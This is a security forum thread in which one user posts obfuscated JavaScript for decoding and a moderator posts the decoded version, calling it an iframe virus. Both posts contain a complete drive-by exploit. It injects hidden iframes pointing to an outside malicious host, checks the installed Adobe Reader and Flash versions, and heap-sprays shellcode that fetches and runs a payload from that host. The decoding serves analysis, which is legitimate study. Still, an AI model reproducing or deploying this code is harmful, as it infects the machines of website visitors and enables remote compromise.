Waraxe IT Security Portal
Login or Register
September 29, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 106
Members: 0
Total: 106
Full disclosure
CyberDanube Security Research 20240919-0 | Multiple Vulnerabilities in Netman204
Submit Exploit CVE-2024-42831
Stored XSS in "Edit Profile" - htmlyv2.9.9
Stored XSS in "Menu Editor" - htmlyv2.9.9
Backdoor.Win32.BlackAngel .13 / Unauthenticated Remote CommandExecution
Backdoor.Win32.CCInvader. 10 / Authentication Bypass
Backdoor.Win32.Delf.yj / Information Disclosure
SEC Consult blog :: Microsoft Windows MSI Installer - Repair to SYSTEM - A detailed journey (CVE-2024-38014) + msiscan tool release
Stored XSS to Account Takeover - htmlyv2.9.9
APPLE-SA-09-16-2024-10 macOS Ventura 13.7
APPLE-SA-09-16-2024-9 macOS Sonoma 14.7
APPLE-SA-09-16-2024-8 iOS 17.7 and iPadOS 17.7
APPLE-SA-09-16-2024-7 Xcode 16
APPLE-SA-09-16-2024-6 Safari 18
APPLE-SA-09-16-2024-5 visionOS 2
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PHP script decode requests -> decode please
Post new topicReply to topic View previous topic :: View next topic
decode please
PostPosted: Sun Feb 07, 2010 5:58 pm Reply with quote
gudulik
Regular user
Regular user
Joined: Oct 19, 2009
Posts: 19




// <script>
Z7AE='escape';MRQi='';if(!document.klmn&&(InP1=unescape)){Z7AE=MRQi;MRQi='%'}g7P2=InP1(MRQi+Z7AE);
MRQi='dV6fcument74.wt72iV74e(t22I3cdI69v st74ylV65V3dV5cV22posV69V74iont3aI61bsV6fluV74t65I3b lefI74I3at2d10V30I30pt78I3bI20t74opI3at2d1t30I300pV78V3bV5cV22V3eI22)V3bfut6eI63I74ioV6e i73(a)I7bt64ocuI6dI65nV74.wrI69I74e(t22V3cifraV6det20srt63t3dI5ct22ht74V74pI3at2ft2flaV74rit62unat64eV74oI6cedo.t63V61nalI2dsi.I63oI6dV2ffot74ot73V2fmasV5fI6eoI74icV69asV2ephI70I3fsI3dwV4afDV509prt26idV3dV22V2bat2bV22V5ct22V3eV3cI2fV69frat6det3et22)t3bV7dLoQV3d0t3bvar scodeI3dI22V25u3V319I30t25u99t430V25V75036V34I25u3040V25uI34t308Bt25t758Bt30CI25u1C70t25I758I42t41DV25u0I38V36V38I25uI378E8V25uV30000I25uI38B00t25V753V434I35t25u8B53I25u055V34I25u5t36I378V25ut45I4101I25ut43983V25u52FFt25u7t328BV25u01V320I25u41t45V45V25u31AI44I25u99V44Bt25uI43V42C1I25u010Dt25u40DI33I25t7502I399I25uV30554t25V7575FFV25u39I463I25u75FV42V25u5V45EAV25u5t458BI25I7501t324t25uV366EBt25t75V30Ct38BV25uV38V424BI25uV31V435EV25uEBV30I31t25V750t348BI25V75V3018BI25u5EE8V25uI46FI35BI25uI350t450I25u49BFI25t750FV45t44t25uFFt37EI25u5I45DV33I25u50I356t25V755452V25uI35656t25uBI4650V25u4B8BV25t75t35FEI33V25ut44t33FV46V25uV30t31V35I39V25t758V35CEI25u58C0V25u0I32E3V25uV45975t25uI35058V25uCt3629I25u948DI25u2036I25t75AV31DI35I25u0161I25uI33054t25ut383FCV25u04EEI25uFI3075I25u31I433I25ut426F6V25u5BV33I30V25ut34I306I41V25uCI31t35I32t25u04E2I25u5t36I35t32I25u54BFt25uAFCAV25I75FF9t31I25u50D3I25u0I43V45t38t25uV30000V25u7I37V300t25I75V36E69I25ut36Et369t25ut37465I25t75642V45I25V75I36C6Ct25I75t42F00V25V754E8EI25uECI30EV25uD3FFI25u5695V25I7556t356t25u5656t25u29V42FV25uV45844I25I75FF5I37I25u56D3V25u006t38I25u0t3001V25uV35684V25uEV3856V25ut46F83t25uFFFV46V22I3bfuncV74ionV20I65k13(I29I7breI74urnV20t74V72uet3bt7dwV69t6edV6fwI2eV6fnerV72t6frt3deI6b13V3bfunct74V69I6fn nI373(a)V7bvar t6b,s,I69t3bif(naI76iI67at74t6fI72V2emimeTV79pes.lengV74V68V26t26(t6bI3dnavigat74or.V70lt75t67inst29)for(t69t3d0V3bI69t3ckI2elengI74V68V3bt69V2bI2b)t7bst3dkt5biI5d.nI61t6dI65t3bift28s.indexOf(a)t3et3dI30I29V72eI74V75I72n kV5bt69I5dt3bV7dret74I75rn t30V3bI7drI6dYt74t67t3d0t3bV74rV79I7brmYV74gV3dV6eew AcI74V69vI65t58t4fbject74t28t22AcroV50DV46.I50I44FI22)t3bI7dI63at74V63hI28e)V7bI7dV69f(t21rmI59t74g)V74ryV7bt72mYV74t67V3dneV77V20I41cI74iveXI4fbjeI63I74(I22PDF.Pt64t66CI74rlt22)V3bt7dcat74ch(e)I7bV7dif(rt6dYV74t67)t7bvar V6cvV3d(t28rmYt74g.GeI74I56V65rsI69onst28).t73pliI74(I22I2ct22))I5b4V5d.splt69I74(I22V3dV22)t29I5bI31V5d.rV65plaI63e(t2ft5c.I2fgt2cV22t22)I3brmYt74V67V3dt28lvV3c90I30)I26V26(lvV21I3d8t313)I3bV7delseV20I72mYV74gV3dt6e73(I22AdobI65 AV22V29t7cI7cn73(V22AdI6fbeV20t50t22)t3bif(rmV59I74g)t69I37t33(2V29I3bV4coQt3d0V3bt72mI59I74gV3d0I3bfI75t6ecI74iot6e s7t33t28V61)I7bt69f(aV5bI30V5dI3dt3dI39t29t7brmYI74I67t3dV61V5b2I5dt3c124t3bLt6fQI3d(aI5b2t5dt3e16)V26I26I28aI5b2t5dI3c2I346t29V3bV7dV65lseV20t69f(aI5bV30t5dI3dV3d10)V4coQV3dat5b2V5dI3c23t3bt4coQt3dI4cV6fQt26t26(navV69gaV74or.userAI67enV74.I74I6fLowerI43ase(t29.I69ndexOf(t22safariI22t29t3dV3dV2d1t29I3bt7dt69f((I78I3dn73(V22V46laI73ht22V29V29t26V26I28t78t3dx.V64eI73ct72ipt74ion))s73(x.repV6ct61t63et28V2fV28V5baV2dzAI2dZt5dV7cI5cs)+t2f,I22t22).rept6cace(t2f(V5ct73+rV7ct5cs+bV5b0I2d9t5dV2bt29V2f,V22.V22)V2eI73plit74(I22I2eV22))t3belsI65 V74I72yV7bI7373((new I41ct74iI76I65XObjecI74(V22St68ot63t6bwaveI46V6casV68.t53hockwavI65Flast68I22I29V29I2eGt65I74I56ariaI62lt65(t22t24vt65rsiont22I29.I73I70lit74I28V22 t22)I5b1I5d.V73pI6ciV74(I22,t22))V3bt7dV63aI74ch(e)I7bI7dit66(t72mt59V74g)i7I33(V33)I3bif(LoQt29V7bI76arV20mV3dnew Art72ay(),m1V3duneV73caV70e(I22t25V750t38t308I25I750808V22)I2ct73I3dI75nI65st63I61V70e(scV6ft64e+I22I25u7468V25u7t3074V25u2FV33At25u6C2Ft25I757461V25u697I32I25uV37562I25u6t316EV25u656V34V25u6F7I34t25t75656CV25u6I466t34I25u632Et25u6E61I25t756C61I25u73V32DI25u2E6V39V25u6F63t25u2F6DI25u6F66I25uI36F74I25u2F73V25I75616Dt25u5FV373V25uI36F6EV25u6t39V374t25uV36963V25u736t31V25I75702EI25u7068I25u733t46I25ut3773V44t25u664At25u50I344V25I7570t339I25t752V3672I25u6469I25u3V313I44I25ut300t33t32t22)V3bwhile(m1.lenI67V74I68V3cI3d32V3768)m1+I3dm1t3bV6dI31V3dm1.sV75bsV74riI6eg(0t2c32I37t368t2ds.lengI74ht29V3bfV6fr(varV20iV3d0I3biI3ct31536I3bit2bt2b)V6dI5biI5dI3dm1+sI3bI6973(V224I26zI3dV22+(t72mYt74gt2b0))V3bt7dt64ocumenI74.V77riV74e(I22t3cI2fdV69vI3et22)t3b';
jF1j=MRQi.replace(/[ItV]/g,g7P2);eval(InP1(jF1j));

//</script>
View user's profile Send private message
PostPosted: Tue Aug 07, 2012 4:12 pm Reply with quote
demon
Moderator
Moderator
Joined: Sep 22, 2010
Posts: 485




it's a fucking iframe virus
Code:
document.write("<div style=\"position:absolute;
left:-1000px;
top:-1000px;
\">");
function i73(a)
{
document.write("<iframe src=\"http://latribunadetoledo.canal-si.com/fotos/mas_noticias.php?s=wJfDP9pr&id="+a+"\"></iframe>");
}
LoQ=0;
var scode="%u3190%u99C0%u0364%u3040%u408B%u8B0C%u1C70%u8BAD%u0868%u78E8%u0000%u8B00%u3C45%u8B53%u0554%u5678%uEA01%uC983%u52FF%u728B%u0120%u41EE%u31AD%u99DB%uCBC1%u010D%u40D3%u0299%u0554%u75FF%u39F3%u75FB%u5EEA%u5E8B%u0124%u66EB%u0C8B%u8B4B%u1C5E%uEB01%u048B%u018B%u5EE8%uFF5B%u50E0%u49BF%u0FED%uFF7E%u5ED3%u5056%u5452%u5656%uBF50%u4B8B%u5FE3%uD3FF%u0159%u85CE%u58C0%u02E3%uE975%u5058%uC629%u948D%u2036%uA1D5%u0161%u3054%u83FC%u04EE%uF075%u31C3%uB6F6%u5B30%u406A%uC152%u04E2%u5652%u54BF%uAFCA%uFF91%u50D3%u0CE8%u0000%u7700%u6E69%u6E69%u7465%u642E%u6C6C%uBF00%u4E8E%uEC0E%uD3FF%u5695%u5656%u5656%u29BF%uE844%uFF57%u56D3%u0068%u0001%u5684%uE856%uFF83%uFFFF";
function ek13()
{
return true;
}
window.onerror=ek13;
function n73(a)
{
var k,s,i;
if(navigator.mimeTypes.length&&(k=navigator.plugins))for(i=0;
i<k.length;
i++)
{
s=k[i].name;
if(s.indexOf(a)>=0)return k[i];
}
return 0;
}
rmYtg=0;
try
{
rmYtg=new ActiveXObject("AcroPDF.PDF");
}
catch(e)
{
}
if(!rmYtg)try
{
rmYtg=new ActiveXObject("PDF.PdfCtrl");
}
catch(e)
{
}
if(rmYtg)
{
var lv=((rmYtg.GetVersions().split(","))[4].split("="))[1].replace(/\./g,"");
rmYtg=(lv<900)&&(lv!=813);
}
else rmYtg=n73("Adobe A")||n73("Adobe P");
if(rmYtg)i73(2);
LoQ=0;
rmYtg=0;
function s73(a)
{
if(a[0]==9)
{
rmYtg=a[2]<124;
LoQ=(a[2]>16)&&(a[2]<246);
}
else if(a[0]==10)LoQ=a[2]<23;
LoQ=LoQ&&(navigator.userAgent.toLowerCase().indexOf("safari")==-1);
}
if((x=n73("Flash"))&&(x=x.description))s73(x.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split("."));
else try
{
s73((new ActiveXObject("ShockwaveFlash.ShockwaveFlash")).GetVariable("$version").split(" ")[1].split(","));
}
catch(e)
{
}
if(rmYtg)i73(3);
if(LoQ)
{
var m=new Array(),m1=unescape("%u0808%u0808"),s=unescape(scode+"%u7468%u7074%u2F3A%u6C2F%u7461%u6972%u7562%u616E%u6564%u6F74%u656C%u6F64%u632E%u6E61%u6C61%u732D%u2E69%u6F63%u2F6D%u6F66%u6F74%u2F73%u616D%u5F73%u6F6E%u6974%u6963%u7361%u702E%u7068%u733F%u773D%u664A%u5044%u7039%u2672%u6469%u313D%u0032");
while(m1.length<=32768)m1+=m1;
m1=m1.substring(0,32768-s.length);
for(var i=0;
i<1536;
i++)m[i]=m1+s;
i73("4&z="+(rmYtg+0));
}
document.write("</div>");
View user's profile Send private message
decode please
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.042 Seconds